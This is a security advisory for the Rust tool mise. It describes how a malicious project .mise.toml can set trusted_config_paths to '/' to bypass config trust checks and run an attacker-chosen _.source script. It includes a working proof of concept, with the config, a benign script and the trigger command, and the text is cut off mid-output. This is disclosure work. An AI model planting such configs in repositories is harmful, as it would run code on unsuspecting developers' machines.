GitHub Security Advisory: GHSA-436v-8fw5-4mj8
Package: mise (RUST)
Severity: HIGH (CVSS 7.7)
CWE: CWE-284: Improper Access Control
Vulnerable versions: >= 2026.2.18, <= 2026.4.5
Patched in: unpatched

Summary: Local settings bypass config trust checks

Details:
### Summary

`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.

The strongest current variant is `trusted_config_paths = ["/"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.

### Details

The vulnerable load order is:

1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files.
2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted.
3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.

The main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):

```rust
let settings = Settings::get();
for p in settings.trusted_config_paths() {
    if canonicalized_path.starts_with(p) {
        add_trusted(canonicalized_path.to_path_buf());
        return true;
    }
}
```

If a local project file sets:

```toml
[settings]
trusted_config_paths = ["/"]
```

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.

### PoC

Test environment:

- Docker
- `linux-arm64`
- `mise v2026.3.17`

Negative control:

```toml
[env]
_.source = ["./poc.sh"]
```

`mise ls` fails with:

```text
Config files in /work/poc/.mise.toml are not trusted.
```

and `/tmp/mise-proof.txt` is not created.

Primary exploit:

```toml
[settings]
trusted_config_paths = ["/"]

[env]
_.source = ["./poc.sh"]
```

with:

```bash
#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt
```

Then:

```bash
mise hook-env -s bash --force
```

Observed:

```text
/tmp/mise-proof.txt => t